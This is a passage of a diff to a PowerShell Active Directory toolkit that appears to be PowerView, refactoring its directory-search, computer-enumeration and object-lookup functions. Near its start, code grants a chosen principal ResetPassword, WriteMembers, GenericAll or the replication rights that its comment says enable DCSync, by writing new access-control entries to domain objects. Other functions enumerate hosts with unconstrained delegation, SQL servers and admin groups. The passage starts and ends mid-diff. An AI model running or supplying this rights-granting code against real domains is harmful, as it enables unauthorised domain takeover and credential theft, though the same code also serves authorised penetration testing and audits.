$PrimaryDC = $Null + else { + $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" } - + + $Searcher.PageSize = 200 + try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" + $Searcher.FindAll() | Foreach-Object { + # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects - # if we could grab the primary DC for the current domain, use that for the query - if($PrimaryDC){ - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } + $TargetDN = $_.Properties.distinguishedname - # create the searcher object with our specific filters - if ($ServicePack -ne '*'){ - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalSID) + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None" + $ControlType = [System.Security.AccessControl.AccessControlType] "Allow" + $ACEs = @() - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - # otherwise, use the current domain - if ($ServicePack -ne '*'){ - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - } + if($RightsGUID) { + $GUIDs = @($RightsGUID) + } + else { + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } + # allows for the modification of group membership + "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"} + } + } - if ($CompSearcher){ + if($GUIDs) { + foreach($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight" + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType + } + } + else { + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll" + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType + } - # eliminate that pesky 1000 system limit - $CompSearcher.PageSize = 200 + Write-Verbose "Granting principal $PrincipalSID '$Rights' on $($_.Properties.distinguishedname)" - $CompSearcher.FindAll() | ? {$_} | ForEach-Object { - $up = $true - if($Ping){ - $up = Test-Server -Server $_.properties.dnshostname - } - if($up){ - # return full data objects - if ($FullData){ - $properties = $_.Properties - $out = New-Object psobject - - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){ - $out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0]))) - } - else { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } + try { + # add all the new ACEs to the specified object + ForEach ($ACE in $ACEs) { + Write-Verbose "Granting principal $PrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)" + $Object = [adsi]($_.path) + $Object.PsBase.ObjectSecurity.AddAccessRule($ACE) + $Object.PsBase.commitchanges() } - $out } - else{ - # otherwise we're just returning the DNS host name - $_.properties.dnshostname + catch { + Write-Warning "Error granting principal $PrincipalSID '$Rights' on $TargetDN : $_" } } } + catch { + Write-Warning "Error: $_" + } } - } } -function Get-NetOUs { - <# - .SYNOPSIS - Gets a list of all current OUs in a domain. +function Get-GUIDMap { +<# + .SYNOPSIS - .PARAMETER GroupName - The group name to query for, wildcards accepted. + Helper to build a hash table of [GUID] -> resolved names - .PARAMETER Domain - The domain to query for OUs. + Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx - .PARAMETER FullData - Return full OU objects instead of just object names (the default). + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. - .EXAMPLE - > Get-NetOUs - Returns the current OUs in the domain. + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .LINK - .EXAMPLE - > Get-NetOUs -OUName *admin* - Returns all OUs with "admin" in their name in - the "testing" domain. - #> + http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +#> [CmdletBinding()] Param ( - [string] - $OUName = '*', - - [Switch] - $FullData, + [String] + $Domain, - [string] - $Domain + [String] + $DomainController ) - # if a domain is specified, try to grab that domain - if ($Domain){ + $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } + $SchemaPath = (Get-NetForest).schema.name + $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController + if($SchemaSearcher) { + $SchemaSearcher.filter = "(schemaIDGUID=*)" + $SchemaSearcher.PageSize = 200 try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" - - # if we could grab the primary DC for the current domain, use that for the query - if($PrimaryDC){ - $OUSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $OUSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") + $SchemaSearcher.FindAll() | ForEach-Object { + # convert the GUID + $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] } - - $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - $OUSearcher = [adsisearcher]"(&(objectCategory=organizationalUnit)(name=$OUName))" + catch { + Write-Debug "Error in building GUID map: $_" + } } - if ($OUSearcher){ - - # eliminate that pesky 1000 system limit - $OUSearcher.PageSize = 200 - - $OUSearcher.FindAll() | ForEach-Object { - # if we're returning full data objects - if ($FullData){ - $properties = $_.Properties - $out = New-Object psobject - - $properties.PropertyNames | % { - if($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - else { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - } - $out - } - - else{ - # otherwise we're just returning the ADS path - $_.properties.adspath + $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController + if ($RightsSearcher) { + $RightsSearcher.filter = "(objectClass=controlAccessRight)" + $RightsSearcher.PageSize = 200 + try { + $RightsSearcher.FindAll() | ForEach-Object { + # convert the GUID + $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] } } + catch { + Write-Debug "Error in building GUID map: $_" + } } + + $GUIDs } -function Get-NetGUIDOUs { - <# - .SYNOPSIS - Takes a GUID and returns the domain OUs linked to a specific GUID. +function Get-NetComputer { +<# + .SYNOPSIS - .PARAMETER GUID - The GUID to search for. + This function utilizes adsisearcher to query the current AD context + for current computer objects. Based off of Carlos Perez's Audit.psm1 + script in Posh-SecMod (link below). - .PARAMETER Domain - The domain to query for groups. + .PARAMETER ComputerName - .PARAMETER FullData - Return full OU objects instead of just object names (the default). + Return computers with a specific name, wildcards accepted. - .EXAMPLE - > Get-NetGUIDOUs -GUID X - Returns full OU objects names where the specific GUID applies. + .PARAMETER SPN - .EXAMPLE - > Get-NetGUIDOUs -GUID X -FullData - Returns full OU objects where the specific GUID applies. - #> + Return computers with a specific service principal name, wildcards accepted. - [CmdletBinding()] - param( - [Parameter(Mandatory = $True)] - [string] - $GUID, + .PARAMETER OperatingSystem - [string] - $Domain, + Return computers with a specific operating system, wildcards accepted. - [switch] - $FullData - ) + .PARAMETER ServicePack - # grab the OUs for this domain - $OUs = Get-NetOUs -FullData -Domain $Domain - - $OUs | ForEach-Object { - # grab all the GP links for this object and check for the target GUID - $a = $_.properties.gplink - $_ | %{ - if($_.properties.gplink -match $GUID){ - if ($FullData){ - $properties = $_.Properties - $out = New-Object psobject - - $properties.PropertyNames | % { - if($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - else { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - } - $out - } + Return computers with a specific service pack, wildcards accepted. - else{ - $_.properties.distinguishedname - } - } - } - } -} + .PARAMETER Filter + A customized ldap filter string to use, e.g. "(description=*admin*)" -function Get-NetGroups { - <# - .SYNOPSIS - Gets a list of all current groups in a domain. + .PARAMETER Printers - .PARAMETER GroupName - The group name to query for, wildcards accepted. + Switch. Return only printers. - .PARAMETER Domain - The domain to query for groups. + .PARAMETER Ping - .PARAMETER FullData - Return full group objects instead of just object names (the default). + Switch. Ping each host to ensure it's up before enumerating. - .EXAMPLE - > Get-NetGroups - Returns the current groups in the domain. + .PARAMETER FullData - .EXAMPLE - > Get-NetGroups -GroupName *admin* - Returns all groups with "admin" in their group name. + Switch. Return full computer objects instead of just system names (the default). - .EXAMPLE - > Get-NetGroups -Domain testing -FullData - Returns full group data objects in the 'testing' domain - #> + .PARAMETER Domain - [CmdletBinding()] - param( - [string] - $GroupName = '*', + The domain to query for computers, defaults to the current domain. - [string] - $Domain, + .PARAMETER DomainController - [switch] - $FullData - ) + Domain controller to reflect LDAP queries through. - # if a domain is specified, try to grab that domain - if ($Domain){ + .PARAMETER ADSpath - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" + .PARAMETER Unconstrained - # if we could grab the primary DC for the current domain, use that for the query - if($PrimaryDC){ - $GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } + Switch. Return computer objects that have unconstrained delegation. - $GroupSearcher.filter = "(&(objectClass=group)(name=$GroupName))" - # eliminate that pesky 1000 system limit - $GroupSearcher.PageSize = 200 + .EXAMPLE - $GroupSearcher.FindAll() | ForEach-Object { - # if we're returning full data objects - if ($FullData){ - $properties = $_.Properties - $out = New-Object psobject + PS C:\> Get-NetComputer + + Returns the current computers in current domain. - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - else { - if ($properties[$_].count -eq 1) { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - else { - $out | Add-Member Noteproperty $_ $properties[$_] - } - } - } - $out - } - else{ - # otherwise we're just returning the group name - $_.properties.samaccountname - } - } - } - catch{ - Write-Warning "[!] The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - # otherwise, use the current domain - $GroupSearcher = [adsisearcher]"(&(objectClass=group)(name=$GroupName))" - $GroupSearcher.PageSize = 200 + .EXAMPLE - try { - $GroupSearcher.FindAll() | ForEach-Object { - # if we're returning full data objects - if ($FullData){ - $properties = $_.Properties - $out = New-Object psobject - - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - else { - if ($properties[$_].count -eq 1) { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - else { - $out | Add-Member Noteproperty $_ $properties[$_] - } - } - } - $out - } - else{ - # otherwise we're just returning the group name - $_.properties.samaccountname - } - } - } - catch{ - Write-Warning '[!] Can not contact domain.' - } - } -} + PS C:\> Get-NetComputer -SPN mssql* + + Returns all MS SQL servers on the domain. + .EXAMPLE -function Get-NetGroup { - <# - .SYNOPSIS - Gets a list of all current users in a specified domain group. + PS C:\> Get-NetComputer -Domain testing + + Returns the current computers in 'testing' domain. - .DESCRIPTION - This function users [ADSI] and LDAP to query the current AD context - or trusted domain for users in a specified group. If no GroupName is - specified, it defaults to querying the "Domain Admins" group. - This is a replacement for "net group 'name' /domain" + .EXAMPLE - .PARAMETER GroupName - The group name to query for users. If not given, it defaults to "Domain Admins" + PS C:\> Get-NetComputer -Domain testing -FullData + + Returns full computer objects in the 'testing' domain. - .PARAMETER Domain - The domain to query for group users. + .LINK - .PARAMETER FullData - Switch. Returns full data objects instead of just group/users. + https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 +#> - .PARAMETER Recurse - Switch. If the group member is a group, recursively try to query its members as well. + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '*', - .EXAMPLE - > Get-NetGroup - Returns the usernames that of members of the "Domain Admins" domain group. + [String] + $SPN, - .EXAMPLE - > Get-NetGroup -Domain testing -GroupName "Power Users" - Returns the usernames that of members of the "Power Users" group - in the 'testing' domain. + [String] + $OperatingSystem = '*', - .LINK - http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ - #> + [String] + $ServicePack = '*', - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$true)] - [string] - $GroupName = 'Domain Admins', + [String] + $Filter, [Switch] - $FullData, + $Printers, [Switch] - $Recurse, + $Ping, + + [Switch] + $FullData, - [string] + [String] $Domain, - [string] - $PrimaryDC - ) + [String] + $DomainController, - process { + [String] + $ADSpath, - # if a domain is specified, try to grab that domain - if ($Domain){ + [Switch] + $Unconstrained + ) - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } + begin { + # so this isn't repeated if users are passed on the pipeline + $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath + } - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx + process { - $dn = "DC=$($Domain.Replace('.', ',DC='))" + if ($CompSearcher) { - # if we could grab the primary DC for the current domain, use that for the query - if($PrimaryDC){ - $GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } - # samAccountType=805306368 indicates user objects - $GroupSearcher.filter = "(&(objectClass=group)(name=$GroupName))" + # if we're checking for unconstrained delegation + if($Unconstrained) { + Write-Verbose "Searching for computers with for unconstrained delegation" + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." + # set the filters for the seracher if it exists + if($Printers) { + Write-Verbose "Searching for printers" + # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)" + $Filter += "(objectCategory=printQueue)" + } + if($SPN) { + Write-Verbose "Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" } - } - else{ - $Domain = (Get-NetDomain).Name - - # otherwise, use the current domain - $GroupSearcher = [adsisearcher]"(&(objectClass=group)(name=$GroupName))" - } - - if ($GroupSearcher){ - $GroupSearcher.PageSize = 200 - $GroupSearcher.FindAll() | % { - try{ - $GroupFoundName = $_.properties.name[0] - $_.properties.member | ForEach-Object { - # for each user/member, do a quick adsi object grab - if ($PrimaryDC){ - $properties = ([adsi]"LDAP://$PrimaryDC/$_").Properties - } - else { - $properties = ([adsi]"LDAP://$_").Properties - } - - # check if the result is a user account- if not assume it's a group - if ($properties.samAccountType -ne "805306368"){ - $isGroup = $True - } - else{ - $isGroup = $False - } - - $out = New-Object psobject - $out | add-member Noteproperty 'GroupDomain' $Domain - $out | Add-Member Noteproperty 'GroupName' $GroupFoundName - - if ($FullData){ - $properties.PropertyNames | % { - # TODO: errors on cross-domain users? - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - else { - if ($properties[$_].count -eq 1) { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - else { - $out | Add-Member Noteproperty $_ $properties[$_] - } - } - $out - } - } - else { - $MemberDN = $properties.distinguishedName[0] - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - if ($properties.samAccountType -ne "805306368"){ - $isGroup = $True - } - else{ - $isGroup = $False - } + if($ServicePack -ne '*') { + $CompSearcher.filter="(&(sAMAccountType=805306369)(dnshostname=$ComputerName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)$Filter)" + } + else { + # server 2012 peculiarity- remove any mention to service pack + $CompSearcher.filter="(&(sAMAccountType=805306369)(dnshostname=$ComputerName)(operatingsystem=$OperatingSystem)$Filter)" + } - if ($properties.samAccountName){ - # forest users have the samAccountName set - $MemberName = $properties.samAccountName[0] - } - else { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $properties.cn[0] - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $properties.cn - } - } - $out | add-member Noteproperty 'MemberDomain' $MemberDomain - $out | add-member Noteproperty 'MemberName' $MemberName - $out | add-member Noteproperty 'IsGroup' $IsGroup - $out | add-member Noteproperty 'MemberDN' $MemberDN - } + $CompSearcher.PageSize = 200 - $out + try { - if($Recurse) { - # if we're recursiving and the returned value isn't a user account, assume it's a group - if($IsGroup){ - if($FullData){ - Get-NetGroup -Domain $Domain -PrimaryDC $PrimaryDC -FullData -Recurse -GroupName $properties.SamAccountName[0] - } - else { - Get-NetGroup -Domain $Domain -PrimaryDC $PrimaryDC -Recurse -GroupName $properties.SamAccountName[0] - } - } + $CompSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Up = $True + if($Ping) { + # TODO: how can these results be piped to ping for a speedup? + $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + } + if($Up) { + # return full data objects + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise we're just returning the DNS host name + $_.properties.dnshostname } } } - catch { - write-verbose $_ - } + } + catch { + Write-Warning "Error: $_" } } } } -function Get-NetLocalGroups { - <# - .SYNOPSIS - Gets a list of all localgroups on a remote machine. +function Get-ADObject { +<# + .SYNOPSIS - .PARAMETER HostName - The hostname or IP to query for local group users. + Takes a domain SID and returns the user, group, or computer object + associated with it. - .PARAMETER HostList - List of hostnames/IPs to query for local group users. + .PARAMETER SID - .EXAMPLE - > Get-NetLocalGroups - Returns all local groups, equivalent to "net localgroup" + The SID of the domain object you're querying for. - .EXAMPLE - > Get-NetLocalGroups -HostName WINDOWSXP - Returns all the local groups on WINDOWSXP + .PARAMETER Name - .LINK - http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together - #> + The Name of the domain object you're querying for. - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost', + .PARAMETER SamAccountName - [string] - $HostList - ) + The SamAccountName of the domain object you're querying for. - process { - $Servers = @() + .PARAMETER Domain - # if we have a host list passed, grab it - if($HostList){ - if (Test-Path -Path $HostList){ - $Servers = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - $null - } - } - else{ - # otherwise assume a single host name - $Servers += Get-NameField $HostName - } + The domain to query for objects, defaults to the current domain. - foreach($Server in $Servers) - { - try{ - $computer = [ADSI]"WinNT://$server,computer" - - $computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { - $out = New-Object psobject - $out | Add-Member Noteproperty 'Server' $Server - $out | Add-Member Noteproperty 'Group' (($_.name)[0]) - $out | Add-Member Noteproperty 'SID' ((new-object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) - $out - } - } - catch{ - Write-Warning "[!] Error: $_" - } - } - } -} + .PARAMETER DomainController + Domain controller to reflect LDAP queries through. -function Get-NetLocalGroup { - <# - .SYNOPSIS - Gets a list of all current users in a specified local group. + .PARAMETER ADSpath - .PARAMETER HostName - The hostname or IP to query for local group users. + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - .PARAMETER HostList - List of hostnames/IPs to query for local group users. + .PARAMETER Filter - .PARAMETER GroupName - The local group name to query for users. If not given, it defaults to "Administrators" + Additional LDAP filter string for the query. - .EXAMPLE - > Get-NetLocalGroup - Returns the usernames that of members of localgroup "Administrators" on the local host. + .PARAMETER ReturnRaw - .EXAMPLE - > Get-NetLocalGroup -HostName WINDOWSXP - Returns all the local administrator accounts for WINDOWSXP + Switch. Return the raw object instead of translating its properties. + Used by Set-ADObject to modify object properties. - .LINK - http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together - http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx - #> + .EXAMPLE + + PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" + + Get the domain object associated with the specified SID. + + .EXAMPLE + + PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local" + + Get the AdminSDHolder object for the testlab.local domain. +#> [CmdletBinding()] - param( + Param ( [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost', + [String] + $SID, - [string] - $HostList, + [String] + $Name, - [string] - $GroupName - ) + [String] + $SamAccountName, - process { + [String] + $Domain, - $Servers = @() + [String] + $DomainController, - # if we have a host list passed, grab it - if($HostList){ - if (Test-Path -Path $HostList){ - $Servers = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - $null - } - } - else{ - # otherwise assume a single host name - $Servers += Get-NameField $HostName - } + [String] + $ADSpath, - if (-not $GroupName){ - # resolve the SID for the local admin group - this should usually default to "Administrators" - $objSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544') - $objgroup = $objSID.Translate( [System.Security.Principal.NTAccount]) - $GroupName = ($objgroup.Value).Split('\')[1] - } + [String] + $Filter, - # query the specified group using the WINNT provider, and - # extract fields as appropriate from the results - foreach($Server in $Servers) - { - try{ - $members = @($([ADSI]"WinNT://$server/$groupname").psbase.Invoke('Members')) - $members | ForEach-Object { - write-verbose $_ - $out = New-Object psobject - $out | Add-Member Noteproperty 'Server' $Server - $out | Add-Member Noteproperty 'AccountName' ( $_.GetType().InvokeMember('Adspath', 'GetProperty', $null, $_, $null)).Replace('WinNT://', '') - # # translate the binary sid to a string - $out | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $null, $_, $null),0)).Value) - # # if the account is local, check if it's disabled, if it's domain, always print $false - $out | Add-Member Noteproperty 'Disabled' $(if((($_.GetType().InvokeMember('Adspath', 'GetProperty', $null, $_, $null)).Replace('WinNT://', '')-like "*/$server/*")) {try{$_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $null, $_, $null)} catch {'ERROR'} } else {$False} ) - # # check if the member is a group - $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') - $out | Add-Member Noteproperty 'IsGroup' $IsGroup - if($IsGroup){ - $out | Add-Member Noteproperty 'LastLogin' "" + [Switch] + $ReturnRaw + ) + process { + if($SID) { + # if a SID is passed, try to resolve it to a reachable domain name for the searcher + try { + $Name = Convert-SidToName $SID + if($Name) { + $Canonical = Convert-NT4toCanonical -ObjectName $Name + if($Canonical) { + $Domain = $Canonical.split("/")[0] } - else{ - try { - $out | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $null, $_, $null)) - } - catch { - $out | Add-Member Noteproperty 'LastLogin' "" - } + else { + Write-Warning "Error resolving SID '$SID'" + return $Null } - $out } } catch { - Write-Warning "[!] Error: $_" + Write-Warning "Error resolving SID '$SID' : $_" + return $Null } } - } -} - - -function Get-NetLocalServices { - <# - .SYNOPSIS - Gets a list of all local services running on a remote machine. - - .PARAMETER HostName - The hostname or IP to query for local group users. - - .PARAMETER HostList - List of hostnames/IPs to query for local group users. - .EXAMPLE - > Get-NetLocalServices -HostName WINDOWSXP - Returns all the local services running on WINDOWSXP - #> + $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost', - - [string] - $HostList - ) - - process { - $Servers = @() + if($ObjectSearcher) { - # if we have a host list passed, grab it - if($HostList){ - if (Test-Path -Path $HostList){ - $Servers = Get-Content -Path $HostList + if($SID) { + $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - $null + elseif($Name) { + $ObjectSearcher.filter = "(&(name=$Name)$Filter)" + } + elseif($SamAccountName) { + $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" } - } - else{ - # otherwise assume a single host name - $Servers += Get-NameField $HostName - } - foreach($Server in $Servers) - { - $computer = [ADSI]"WinNT://$server,computer" + $ObjectSearcher.PageSize = 200 - $computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'service' } | ForEach-Object { - $out = New-Object psobject - $out | Add-Member Noteproperty 'Server' $Server - $out | Add-Member Noteproperty 'ServiceName' $_.name[0] - $out | Add-Member Noteproperty 'ServicePath' $_.Path[0] - $out | Add-Member Noteproperty 'ServiceAccountName' $_.ServiceAccountName[0] - $out + $ObjectSearcher.FindAll() | ForEach-Object { + if($ReturnRaw) { + $_ + } + else { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } } } } } -function Invoke-NetGroupUserAdd { - <# - .SYNOPSIS - Adds a local or domain user to a local or domain group. +function Set-ADObject { +<# + .SYNOPSIS - .PARAMETER UserName - The domain username to query for. + Takes a SID, name, or SamAccountName to query for a specified + domain object, and then sets a specified 'PropertyName' to a + specified 'PropertyValue'. - .PARAMETER GroupName - Group to add the user to. + .PARAMETER SID - .PARAMETER Domain - Domain to add the user to. + The SID of the domain object you're querying for. - .PARAMETER HostName - Hostname to add the user to, defaults to localhost. + .PARAMETER Name - .EXAMPLE - > Invoke-NetGroupUserAdd -UserName john -GroupName Administrators - Adds a localuser "john" to the local group "Administrators" + The Name of the domain object you're querying for. - .EXAMPLE - > Invoke-NetGroupUserAdd -UserName john -GroupName "Domain Admins" -Domain dev.local - Adds the existing user "john" to the domain group "Domain Admins" in - "dev.local" - #> + .PARAMETER SamAccountName - [CmdletBinding()] - param( - [Parameter(Mandatory = $True)] - [string] - $UserName, + The SamAccountName of the domain object you're querying for. - [Parameter(Mandatory = $True)] - [string] - $GroupName, + .PARAMETER Domain - [string] - $Domain, + The domain to query for objects, defaults to the current domain. - [string] - $HostName = 'localhost' - ) + .PARAMETER DomainController - # add the assembly if we need it - Add-Type -AssemblyName System.DirectoryServices.AccountManagement + Domain controller to reflect LDAP queries through. - # if we're adding to a remote host, use the WinNT provider - if($HostName -ne 'localhost'){ - try{ - 